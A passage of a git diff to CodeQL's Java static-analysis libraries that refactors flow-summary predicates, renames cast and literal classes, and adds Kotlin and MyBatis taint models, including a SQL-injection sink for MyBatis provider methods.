-        n = summaryNode(sc, TSummaryNodeClearsContentState(pos, true)) and
-        sc.clearsContent(pos, c)
+      exists(SummarizedCallable sc, SummaryNodeState state, SummaryComponentStack stack |
+        n = summaryNode(sc, state) and
+        state.isInputState(sc, stack) and
+        stack.head() = SummaryComponent::withoutContent(c)
+      )
+    }
+
+    /**
+     * Holds if the value that is being tracked is expected to be stored inside
+     * content `c` at `n`.
+     */
+    predicate summaryExpectsContent(Node n, ContentSet c) {
+      exists(SummarizedCallable sc, SummaryNodeState state, SummaryComponentStack stack |
+        n = summaryNode(sc, state) and
+        state.isInputState(sc, stack) and
+        stack.head() = SummaryComponent::withContent(c)
       )
     }
 
@@ -719,23 +751,10 @@ module Private {
     private predicate viableParam(
       DataFlowCall call, SummarizedCallable sc, ParameterPosition ppos, ParamNode p
     ) {
-      p.isParameterOf(sc, ppos) and
-      sc = viableCallable(call)
-    }
-
-    /**
-     * Holds if values stored inside content `c` are cleared inside a
-     * callable to which `arg` is an argument.
-     *
-     * In such cases, it is important to prevent use-use flow out of
-     * `arg` (see comment for `summaryClearsContent`).
-     */
-    pragma[nomagic]
-    predicate summaryClearsContentArg(ArgNode arg, ContentSet c) {
-      exists(DataFlowCall call, SummarizedCallable sc, ParameterPosition ppos |
-        argumentPositionMatch(call, arg, ppos) and
-        viableParam(call, sc, ppos, _) and
-        sc.clearsContent(ppos, c)
+      exists(DataFlowCallable c |
+        c = inject(sc) and
+        p.isParameterOf(c, ppos) and
+        c = viableCallable(call)
       )
     }
 
@@ -747,28 +766,62 @@ module Private {
       )
     }
 
+    /**
+     * Holds if use-use flow starting from `arg` should be prohibited.
+     *
+     * This is the case when `arg` is the argument of a call that targets a
+     * flow summary where the corresponding parameter either clears contents
+     * or expects contents.
+     */
     pragma[nomagic]
-    private ParamNode summaryArgParam(ArgNode arg, ReturnKindExt rk, OutNodeExt out) {
-      exists(DataFlowCall call |
+    predicate prohibitsUseUseFlow(ArgNode arg) {
+      exists(ParamNode p, Node mid, ParameterPosition ppos, Node ret |
+        p = summaryArgParam0(_, arg) and
+        p.isParameterOf(_, ppos) and
+        summaryLocalStep(p, mid, true) and
+        summaryLocalStep(mid, ret, true) and
+        isParameterPostUpdate(ret, _, ppos)
+      |
+        summaryClearsContent(mid, _) or
+        summaryExpectsContent(mid, _)
+      )
+    }
+
+    bindingset[ret]
+    private ParamNode summaryArgParam(ArgNode arg, ReturnNodeExt ret, OutNodeExt out) {
+      exists(DataFlowCall call, ReturnKindExt rk |
         result = summaryArgParam0(call, arg) and
-        out = rk.getAnOutNode(call)
+        ret.getKind() = pragma[only_bind_into](rk) and
+        out = pragma[only_bind_into](rk).getAnOutNode(call)
       )
     }
 
     /**
-     * Holds if `arg` flows to `out` using a simple flow summary, that is, a flow
-     * summary without reads and stores.
+     * Holds if `arg` flows to `out` using a simple value-preserving flow
+     * summary, that is, a flow summary without reads and stores.
      *
      * NOTE: This step should not be used in global data-flow/taint-tracking, but may
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
-    predicate summaryThroughStep(ArgNode arg, Node out, boolean preservesValue) {
-      exists(ReturnKindExt rk, ReturnNodeExt ret |
-        summaryLocalStep(summaryArgParam(arg, rk, out), ret, preservesValue) and
-        ret.getKind() = rk
+    predicate summaryThroughStepValue(ArgNode arg, Node out) {
+      exists(ReturnKind rk, ReturnNode ret, DataFlowCall call |
+        summaryLocalStep(summaryArgParam0(call, arg), ret, true) and
+        ret.getKind() = pragma[only_bind_into](rk) and
+        out = getAnOutNode(call, pragma[only_bind_into](rk))
       )
     }
 
+    /**
+     * Holds if `arg` flows to `out` using a simple flow summary involving taint
+     * step, that is, a flow summary without reads and stores.
+     *
+     * NOTE: This step should not be used in global data-flow/taint-tracking, but may
+     * be useful to include in the exposed local data-flow/taint-tracking relations.
+     */
+    predicate summaryThroughStepTaint(ArgNode arg, Node out) {
+      exists(ReturnNodeExt ret | summaryLocalStep(summaryArgParam(arg, ret, out), ret, false))
+    }
+
     /**
      * Holds if there is a read(+taint) of `c` from `arg` to `out` using a
      * flow summary.
@@ -777,10 +830,9 @@ module Private {
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
     predicate summaryGetterStep(ArgNode arg, ContentSet c, Node out) {
-      exists(ReturnKindExt rk, Node mid, ReturnNodeExt ret |
-        summaryReadStep(summaryArgParam(arg, rk, out), c, mid) and
-        summaryLocalStep(mid, ret, _) and
-        ret.getKind() = rk
+      exists(Node mid, ReturnNodeExt ret |
+        summaryReadStep(summaryArgParam(arg, ret, out), c, mid) and
+        summaryLocalStep(mid, ret, _)
       )
     }
 
@@ -792,10 +844,9 @@ module Private {
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
     predicate summarySetterStep(ArgNode arg, ContentSet c, Node out) {
-      exists(ReturnKindExt rk, Node mid, ReturnNodeExt ret |
-        summaryLocalStep(summaryArgParam(arg, rk, out), mid, _) and
-        summaryStoreStep(mid, c, ret) and
-        ret.getKind() = rk
+      exists(Node mid, ReturnNodeExt ret |
+        summaryLocalStep(summaryArgParam(arg, ret, out), mid, _) and
+        summaryStoreStep(mid, c, ret)
       )
     }
   }
@@ -898,6 +949,8 @@ module Private {
           kind = "taint" and preservesValue = false
         )
       }
+
+      override predicate isAutoGenerated() { summaryElement(this, _, _, _, true) }
     }
 
     /** Holds if component `c` of specification `spec` cannot be parsed. */
@@ -1033,7 +1086,7 @@ module Private {
   /** Provides a query predicate for outputting a set of relevant flow summaries. */
   module TestOutput {
     /** A flow summary to include in the `summary/3` query predicate. */
-    abstract class RelevantSummarizedCallable extends SummarizedCallable {
+    abstract class RelevantSummarizedCallable instanceof SummarizedCallable {
       /** Gets the string representation of this callable used by `summary/1`. */
       abstract string getCallableCsv();
 
@@ -1041,8 +1094,10 @@ module Private {
       predicate relevantSummary(
         SummaryComponentStack input, SummaryComponentStack output, boolean preservesValue
       ) {
-        this.propagatesFlow(input, output, preservesValue)
+        super.propagatesFlow(input, output, preservesValue)
       }
+
+      string toString() { result = super.toString() }
     }
 
     /** Render the kind in the format used in flow summaries. */
@@ -1052,9 +1107,13 @@ module Private {
       preservesValue = false and result = "taint"
     }
 
+    private string renderGenerated(RelevantSummarizedCallable c) {
+      if c.(SummarizedCallable).isAutoGenerated() then result = "generated:" else result = ""
+    }
+
     /**
      * A query predicate for outputting flow summaries in semi-colon separated format in QL tests.
-     * The syntax is: "namespace;type;overrides;name;signature;ext;inputspec;outputspec;kind",
+     * The syntax is: "namespace;type;overrides;name;signature;ext;inputspec;outputspec;(generated:)?kind",
      * ext is hardcoded to empty.
      */
     query predicate summary(string csv) {
@@ -1065,7 +1124,7 @@ module Private {
         c.relevantSummary(input, output, preservesValue) and
         csv =
           c.getCallableCsv() + getComponentStackCsv(input) + ";" + getComponentStackCsv(output) +
-            ";" + renderKind(preservesValue)
+            ";" + renderGenerated(c) + renderKind(preservesValue)
       )
     }
   }
@@ -1079,19 +1138,21 @@ module Private {
    */
   module RenderSummarizedCallable {
     /** A summarized callable to include in the graph. */
-    abstract class RelevantSummarizedCallable extends SummarizedCallable { }
+    abstract class RelevantSummarizedCallable instanceof SummarizedCallable {
+      string toString() { result = super.toString() }
+    }
 
     private newtype TNodeOrCall =
       MkNode(Node n) {
         exists(RelevantSummarizedCallable c |
           n = summaryNode(c, _)
           or
-          n.(ParamNode).isParameterOf(c, _)
+          n.(ParamNode).isParameterOf(inject(c), _)
         )
       } or
       MkCall(DataFlowCall call) {
         call = summaryDataFlowCall(_) and
-        call.getEnclosingCallable() instanceof RelevantSummarizedCallable
+        call.getEnclosingCallable() = inject(any(RelevantSummarizedCallable c))
       }
 
     private class NodeOrCall extends TNodeOrCall {
@@ -1141,6 +1202,10 @@ module Private {
         Private::Steps::summaryClearsContent(a.asNode(), c) and
         b = a and
         value = "clear (" + c + ")"
+        or
+        Private::Steps::summaryExpectsContent(a.asNode(), c) and
+        b = a and
+        value = "expect (" + c + ")"
       )
       or
       summaryPostUpdateNode(b.asNode(), a.asNode()) and
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImplSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImplSpecific.qll
index 64b762a10ad..fb7b682c6ee 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImplSpecific.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImplSpecific.qll
@@ -1,5 +1,5 @@
 /**
- * Provides Java specific classes and predicates for definining flow summaries.
+ * Provides Java specific classes and predicates for defining flow summaries.
  */
 
 private import java
@@ -14,6 +14,10 @@ private module FlowSummaries {
   private import semmle.code.java.dataflow.FlowSummary as F
 }
 
+class SummarizedCallableBase = Callable;
+
+DataFlowCallable inject(SummarizedCallable c) { result.asCallable() = c }
+
 /** Gets the parameter position of the instance parameter. */
 int instanceParameterPosition() { result = -1 }
 
@@ -28,7 +32,7 @@ DataFlowType getContentType(Content c) { result = c.getType() }
 
 /** Gets the return type of kind `rk` for callable `c`. */
 DataFlowType getReturnType(SummarizedCallable c, ReturnKind rk) {
-  result = getErasedRepr(c.asCallable().getReturnType()) and
+  result = getErasedRepr(c.getReturnType()) and
   exists(rk)
 }
 
@@ -56,14 +60,12 @@ DataFlowType getCallbackReturnType(DataFlowType t, ReturnKind rk) {
  * `input`, output specification `output`, kind `kind`, and a flag `generated`
  * stating whether the summary is autogenerated.
  */
-predicate summaryElement(
-  DataFlowCallable c, string input, string output, string kind, boolean generated
-) {
+predicate summaryElement(Callable c, string input, string output, string kind, boolean generated) {
   exists(
     string namespace, string type, boolean subtypes, string name, string signature, string ext
   |
     summaryModel(namespace, type, subtypes, name, signature, ext, input, output, kind, generated) and
-    c.asCallable() = interpretElement(namespace, type, subtypes, name, signature, ext)
+    c = interpretElement(namespace, type, subtypes, name, signature, ext)
   )
 }
 
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll b/java/ql/lib/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll
index b1422e89552..7ff5f4c04f4 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/TaintTrackingUtil.qll
@@ -51,7 +51,7 @@ private module Cached {
     or
     // Simple flow through library code is included in the exposed local
     // step relation, even though flow is technically inter-procedural
-    FlowSummaryImpl::Private::Steps::summaryThroughStep(src, sink, false)
+    FlowSummaryImpl::Private::Steps::summaryThroughStepTaint(src, sink)
     or
     // Treat container flow as taint for the local taint flow relation
     exists(DataFlow::Content c | containerContent(c) |
@@ -157,6 +157,8 @@ private predicate localAdditionalTaintExprStep(Expr src, Expr sink) {
   or
   sink.(AssignAddExpr).getSource() = src and sink.getType() instanceof TypeString
   or
+  sink.(StringTemplateExpr).getComponent(_) = src
+  or
   sink.(LogicExpr).getAnOperand() = src
   or
   constructorStep(src, sink)
@@ -188,7 +190,7 @@ private predicate localAdditionalTaintUpdateStep(Expr src, Expr sink) {
 
 private class BulkData extends RefType {
   BulkData() {
-    this.(Array).getElementType().(PrimitiveType).getName().regexpMatch("byte|char")
+    this.(Array).getElementType().(PrimitiveType).hasName(["byte", "char"])
     or
     exists(RefType t | this.getASourceSupertype*() = t |
       t.hasQualifiedName("java.io", "InputStream") or
@@ -319,7 +321,7 @@ private predicate argToMethodStep(Expr tracked, MethodAccess sink) {
   exists(Method springResponseEntityOfOk |
     sink.getMethod() = springResponseEntityOfOk and
     springResponseEntityOfOk.getDeclaringType() instanceof SpringResponseEntity and
-    springResponseEntityOfOk.getName().regexpMatch("ok|of") and
+    springResponseEntityOfOk.hasName(["ok", "of"]) and
     tracked = sink.getArgument(0) and
     tracked.getType() instanceof TypeString
   )
@@ -327,7 +329,7 @@ private predicate argToMethodStep(Expr tracked, MethodAccess sink) {
   exists(Method springResponseEntityBody |
     sink.getMethod() = springResponseEntityBody and
     springResponseEntityBody.getDeclaringType() instanceof SpringResponseEntityBodyBuilder and
-    springResponseEntityBody.getName().regexpMatch("body") and
+    springResponseEntityBody.hasName("body") and
     tracked = sink.getArgument(0) and
     tracked.getType() instanceof TypeString
   )
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll
index 06af17094a5..5a3b4f63d9f 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll
@@ -49,7 +49,7 @@ private predicate unknownSign(Expr e) {
     or
     exists(LongLiteral lit | lit = e and not exists(lit.getValue().toFloat()))
     or
-    exists(CastExpr cast, Type fromtyp |
+    exists(CastingExpr cast, Type fromtyp |
       cast = e and
       fromtyp = cast.getSourceType() and
       not fromtyp instanceof NumericOrCharType
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll
index 2b90b128dd3..a83c0e6f124 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll
@@ -27,7 +27,7 @@ module Private {
 
   class LongLiteral = J::LongLiteral;
 
-  class CastExpr extends J::CastExpr {
+  class CastingExpr extends J::CastingExpr {
     /** Gets the source type of this cast. */
     J::Type getSourceType() { result = this.getExpr().getType() }
   }
@@ -49,7 +49,7 @@ module Private {
   /** Class to represent float and double literals. */
   class RealLiteral extends J::Literal {
     RealLiteral() {
-      this instanceof J::FloatingPointLiteral or
+      this instanceof J::FloatLiteral or
       this instanceof J::DoubleLiteral
     }
   }
@@ -191,7 +191,7 @@ private module Impl {
   /** Gets the constant `float` value of non-`ConstantIntegerExpr` expressions. */
   float getNonIntegerValue(Expr e) {
     result = e.(LongLiteral).getValue().toFloat() or
-    result = e.(FloatingPointLiteral).getValue().toFloat() or
+    result = e.(FloatLiteral).getValue().toFloat() or
     result = e.(DoubleLiteral).getValue().toFloat()
   }
 
@@ -307,7 +307,7 @@ private module Impl {
     result = e.(PostIncExpr).getExpr() or
     result = e.(PostDecExpr).getExpr() or
     result = e.(ChooseExpr).getAResultExpr() or
-    result = e.(CastExpr).getExpr()
+    result = e.(CastingExpr).getExpr()
   }
 
   Expr getARead(SsaVariable v) { result = v.getAUse() }
diff --git a/java/ql/lib/semmle/code/java/deadcode/DeadCode.qll b/java/ql/lib/semmle/code/java/deadcode/DeadCode.qll
index ed77dff0a82..f0ddffa9aa2 100644
--- a/java/ql/lib/semmle/code/java/deadcode/DeadCode.qll
+++ b/java/ql/lib/semmle/code/java/deadcode/DeadCode.qll
@@ -302,6 +302,8 @@ class RootdefCallable extends Callable {
     exists(MemberRefExpr mre | mre.getReferencedCallable() = this)
     or
     this.getAnAnnotation() instanceof OverrideAnnotation
+    or
+    this.hasModifier("override")
   }
 }
 
diff --git a/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll b/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll
index 027e2392252..1f95f81d1b0 100644
--- a/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll
+++ b/java/ql/lib/semmle/code/java/deadcode/EntryPoints.qll
@@ -139,7 +139,7 @@ class JAXAnnotationReflectivelyConstructedClass extends ReflectivelyConstructedC
 
 class DeserializedClass extends ReflectivelyConstructedClass {
   DeserializedClass() {
-    exists(CastExpr cast, ReadObjectMethod readObject |
+    exists(CastingExpr cast, ReadObjectMethod readObject |
       cast.getExpr().(MethodAccess).getMethod() = readObject
     |
       hasDescendant(cast.getType(), this)
diff --git a/java/ql/lib/semmle/code/java/deadcode/frameworks/FitNesseEntryPoints.qll b/java/ql/lib/semmle/code/java/deadcode/frameworks/FitNesseEntryPoints.qll
index af050ab0da1..85acb57c539 100644
--- a/java/ql/lib/semmle/code/java/deadcode/frameworks/FitNesseEntryPoints.qll
+++ b/java/ql/lib/semmle/code/java/deadcode/frameworks/FitNesseEntryPoints.qll
@@ -13,7 +13,7 @@ class FitFixtureEntryPoint extends CallableEntryPoint {
  * FitNesse entry points externally defined.
  */
 class FitNesseSlimEntryPointData extends ExternalData {
-  FitNesseSlimEntryPointData() { getDataPath().matches("fitnesse.csv") }
+  FitNesseSlimEntryPointData() { getDataPath() = "fitnesse.csv" }
 
   /**
    * Gets the class name.
diff --git a/java/ql/lib/semmle/code/java/dispatch/DispatchFlow.qll b/java/ql/lib/semmle/code/java/dispatch/DispatchFlow.qll
index 1b13e6ef4c0..a81a0f04d72 100644
--- a/java/ql/lib/semmle/code/java/dispatch/DispatchFlow.qll
+++ b/java/ql/lib/semmle/code/java/dispatch/DispatchFlow.qll
@@ -200,7 +200,7 @@ private predicate flowStep(RelevantNode n1, RelevantNode n2) {
     n2.asExpr().(MethodAccess).getMethod() = getValue
   )
   or
-  n2.asExpr().(CastExpr).getExpr() = n1.asExpr()
+  n2.asExpr().(CastingExpr).getExpr() = n1.asExpr()
   or
   n2.asExpr().(ChooseExpr).getAResultExpr() = n1.asExpr()
   or
diff --git a/java/ql/lib/semmle/code/java/dispatch/ObjFlow.qll b/java/ql/lib/semmle/code/java/dispatch/ObjFlow.qll
index 005b54a9259..948a91e8304 100644
--- a/java/ql/lib/semmle/code/java/dispatch/ObjFlow.qll
+++ b/java/ql/lib/semmle/code/java/dispatch/ObjFlow.qll
@@ -53,7 +53,7 @@ private predicate returnStep(Node n1, Node n2) {
   exists(ReturnStmt ret, Method m |
     ret.getEnclosingCallable() = m and
     ret.getResult() = n1.asExpr() and
-    m = dispatchCand(n2.asExpr())
+    pragma[only_bind_out](m) = dispatchCand(n2.asExpr())
   )
 }
 
@@ -98,7 +98,7 @@ private predicate step(Node n1, Node n2) {
   or
   n2.asExpr().(FieldRead).getField() = n1.(FieldValueNode).getField()
   or
-  n2.asExpr().(CastExpr).getExpr() = n1.asExpr()
+  n2.asExpr().(CastingExpr).getExpr() = n1.asExpr()
   or
   n2.asExpr().(ChooseExpr).getAResultExpr() = n1.asExpr()
   or
diff --git a/java/ql/lib/semmle/code/java/dispatch/WrappedInvocation.qll b/java/ql/lib/semmle/code/java/dispatch/WrappedInvocation.qll
index 94f67445785..7dd250671ad 100644
--- a/java/ql/lib/semmle/code/java/dispatch/WrappedInvocation.qll
+++ b/java/ql/lib/semmle/code/java/dispatch/WrappedInvocation.qll
@@ -37,7 +37,7 @@ private Expr getRunnerArgument(MethodAccess ma, Method runmethod) {
     result = ma.getArgument(param)
   )
   or
-  getRunnerArgument(ma, runmethod).(CastExpr).getExpr() = result
+  getRunnerArgument(ma, runmethod).(CastingExpr).getExpr() = result
   or
   pragma[only_bind_out](getRunnerArgument(ma, runmethod))
       .(VarAccess)
diff --git a/java/ql/lib/semmle/code/java/frameworks/JaxWS.qll b/java/ql/lib/semmle/code/java/frameworks/JaxWS.qll
index 1bf13692ecf..6a652f9fd38 100644
--- a/java/ql/lib/semmle/code/java/frameworks/JaxWS.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/JaxWS.qll
@@ -390,7 +390,7 @@ private class HttpHeadersModel extends SummaryModelCsv {
 }
 
 /**
- * Model MultivaluedMap, which extends Map<K, List<V>> and provides a few extra helper methods.
+ * Model MultivaluedMap, which extends `Map<K, List<V>>` and provides a few extra helper methods.
  */
 private class MultivaluedMapModel extends SummaryModelCsv {
   override predicate row(string row) {
diff --git a/java/ql/lib/semmle/code/java/frameworks/KotlinStdLib.qll b/java/ql/lib/semmle/code/java/frameworks/KotlinStdLib.qll
new file mode 100644
index 00000000000..63cdb87acdf
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/frameworks/KotlinStdLib.qll
@@ -0,0 +1,11 @@
+/** Definitions of taint steps in the KotlinStdLib framework */
+
+import java
+private import semmle.code.java.dataflow.ExternalFlow
+
+private class KotlinStdLibSummaryCsv extends SummaryModelCsv {
+  override predicate row(string row) {
+    row =
+      "kotlin.jvm.internal;ArrayIteratorKt;false;iterator;(Object[]);;Argument[0].ArrayElement;ReturnValue.Element;value"
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/Mockito.qll b/java/ql/lib/semmle/code/java/frameworks/Mockito.qll
index a87050966b2..af161760063 100644
--- a/java/ql/lib/semmle/code/java/frameworks/Mockito.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/Mockito.qll
@@ -85,7 +85,7 @@ class MockitoInitedTest extends Class {
  */
 class MockitoAnnotation extends Annotation {
   MockitoAnnotation() {
-    this.getType().getPackage().getName().matches("org.mockito") or
+    this.getType().getPackage().hasName("org.mockito") or
     this.getType().getPackage().getName().matches("org.mockito.%")
   }
 }
diff --git a/java/ql/lib/semmle/code/java/frameworks/MyBatis.qll b/java/ql/lib/semmle/code/java/frameworks/MyBatis.qll
index ebeb0c54e69..b6601e6de08 100644
--- a/java/ql/lib/semmle/code/java/frameworks/MyBatis.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/MyBatis.qll
@@ -3,6 +3,8 @@
  */
 
 import java
+private import semmle.code.java.dataflow.DataFlow
+private import semmle.code.java.dataflow.TaintTracking
 private import semmle.code.java.dataflow.ExternalFlow
 
 /** The class `org.apache.ibatis.jdbc.SqlRunner`. */
@@ -102,3 +104,116 @@ class MyBatisSqlOperationAnnotationMethod extends Method {
 class TypeParam extends Interface {
   TypeParam() { this.hasQualifiedName("org.apache.ibatis.annotations", "Param") }
 }
+
+private class MyBatisProvider extends RefType {
+  MyBatisProvider() {
+    this.hasQualifiedName("org.apache.ibatis.annotations",
+      ["Select", "Delete", "Insert", "Update"] + "Provider")
+  }
+}
+
+/**
+ * A return statement of a method used in a MyBatis Provider.
+ *
+ * See
+ * - `MyBatisProvider`
+ * - https://mybatis.org/mybatis-3/apidocs/org/apache/ibatis/annotations/package-summary.html
+ */
+class MyBatisInjectionSink extends DataFlow::Node {
+  MyBatisInjectionSink() {
+    exists(Annotation a, Method m |
+      a.getType() instanceof MyBatisProvider and
+      m.getDeclaringType() = a.getValue(["type", "value"]).(TypeLiteral).getTypeName().getType() and
+      m.hasName(a.getValue("method").(StringLiteral).getValue()) and
+      exists(ReturnStmt ret | this.asExpr() = ret.getResult() and ret.getEnclosingCallable() = m)
+    )
+  }
+}
+
+private class MyBatisProviderStep extends TaintTracking::AdditionalValueStep {
+  override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
+    exists(MethodAccess ma, Annotation a, Method providerMethod |
+      exists(int i |
+        ma.getArgument(pragma[only_bind_into](i)) = n1.asExpr() and
+        providerMethod.getParameter(pragma[only_bind_into](i)) = n2.asParameter()
+      )
+    |
+      a.getType() instanceof MyBatisProvider and
+      ma.getMethod().getAnAnnotation() = a and
+      providerMethod.getDeclaringType() =
+        a.getValue(["type", "value"]).(TypeLiteral).getTypeName().getType() and
+      providerMethod.hasName(a.getValue("method").(StringLiteral).getValue())
+    )
+  }
+}
+
+private class MyBatisAbstractSqlToStringStep extends SummaryModelCsv {
+  override predicate row(string row) {
+    row = "org.apache.ibatis.jdbc;AbstractSQL;true;toString;;;Argument[-1];ReturnValue;taint"
+  }
+}
+
+private class MyBatisAbstractSqlMethodsStep extends SummaryModelCsv {
+  override predicate row(string row) {
+    row =
+      [
+        "org.apache.ibatis.jdbc;AbstractSQL;true;toString;;;Argument[-1];ReturnValue;taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;WHERE;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;WHERE;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;WHERE;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;WHERE;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;VALUES;(String,String);;Argument[0..1];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;UPDATE;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SET;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SET;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SET;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SET;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SELECT_DISTINCT;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SELECT_DISTINCT;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SELECT_DISTINCT;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SELECT_DISTINCT;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;SELECT;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;RIGHT_OUTER_JOIN;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;RIGHT_OUTER_JOIN;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;RIGHT_OUTER_JOIN;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;RIGHT_OUTER_JOIN;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;OUTER_JOIN;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;OUTER_JOIN;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;OUTER_JOIN;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;OUTER_JOIN;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;ORDER_BY;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;ORDER_BY;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;ORDER_BY;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;ORDER_BY;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;OFFSET_ROWS;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;OFFSET;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;LIMIT;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;LEFT_OUTER_JOIN;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;LEFT_OUTER_JOIN;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;LEFT_OUTER_JOIN;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;LEFT_OUTER_JOIN;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;JOIN;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;INTO_VALUES;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;INTO_COLUMNS;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;INSERT_INTO;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;INNER_JOIN;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;INNER_JOIN;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;INNER_JOIN;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;INNER_JOIN;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;HAVING;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;HAVING;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;HAVING;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;HAVING;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;GROUP_BY;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;GROUP_BY;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;GROUP_BY;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;GROUP_BY;(String);;Argument[0].ArrayElement;Argument[-1];taint",
